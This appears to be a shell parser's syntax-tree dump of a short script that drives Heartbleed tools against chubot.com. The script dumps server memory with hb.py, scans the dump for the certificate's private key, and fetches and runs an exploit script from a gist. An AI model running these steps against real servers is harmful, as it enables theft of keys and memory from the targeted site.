(List (FunctionDef is-vulnerable [] (Com {[LIT_CHARS ./hb.py]} {[LIT_CHARS chubot.com]} ) ) (FunctionDef dump-data [] (List (= scope= flags=0 words=[] bindings=[('out', {[VarSub 1 test_op=VS_TEST_COLON_HYPHEN {[LIT_CHARS chubot.bin]}]})]) (Com {[LIT_CHARS time]} {[LIT_CHARS ./hb.py]} {[LIT_CHARS -p]} {[LIT_CHARS 443]} {[LIT_CHARS chubot.com]} {[LIT_CHARS -n]} {[LIT_CHARS 0xF000]} {[LIT_CHARS -l]} {[LIT_CHARS 100]} {[LIT_CHARS -t]} {[LIT_CHARS 50]} {[LIT_CHARS -d]} {[LIT_CHARS -o]} {[VarSub out]} ) ) ) (= scope= flags=2 words=[] bindings=[('CERT_PATH', {[LIT_CHARS crt/chubot.com.crt]})]) (FunctionDef scan [] (List (= scope= flags=0 words=[] bindings=[('bin', {[VarSub 1 test_op=VS_TEST_COLON_HYPHEN {[LIT_CHARS chubot.bin]}]})]) (Com {[LIT_CHARS time]} {[LIT_CHARS ./keyscan.py]} {[VarSub CERT_PATH]} {[VarSub bin]} ) ) ) (FunctionDef get-modulus [] (Com {[LIT_CHARS openssl]} {[LIT_CHARS x509]} {[LIT_CHARS -noout]} {[LIT_CHARS -in]} {[VarSub CERT_PATH]} {[LIT_CHARS -modulus]} ) ) (FunctionDef download [] (List (Com {[LIT_CHARS curl]} {[LIT_CHARS -O]} {[LIT_CHARS https] [LIT_OTHER ":"] [LIT_CHARS //gist.githubusercontent.com/benmmurphy/12999c91a4d328b749e3/raw/9bcd402e3d9beec740a61a1585e24c36dea80859/heartbeat.py]} ) (Com {[LIT_CHARS chmod]} {[LIT_CHARS u] [LIT_OTHER "+"] [LIT_CHARS x]} {[LIT_CHARS heartbeat.py]} ) ) ) (FunctionDef heartbeat [] (Com {[LIT_CHARS time]} {[LIT_CHARS ./heartbeat.py]} {[LIT_CHARS chubot.com]} {[VarSub CERT_PATH]} ) ) (Com {[DQ [VarSub @]]} ) )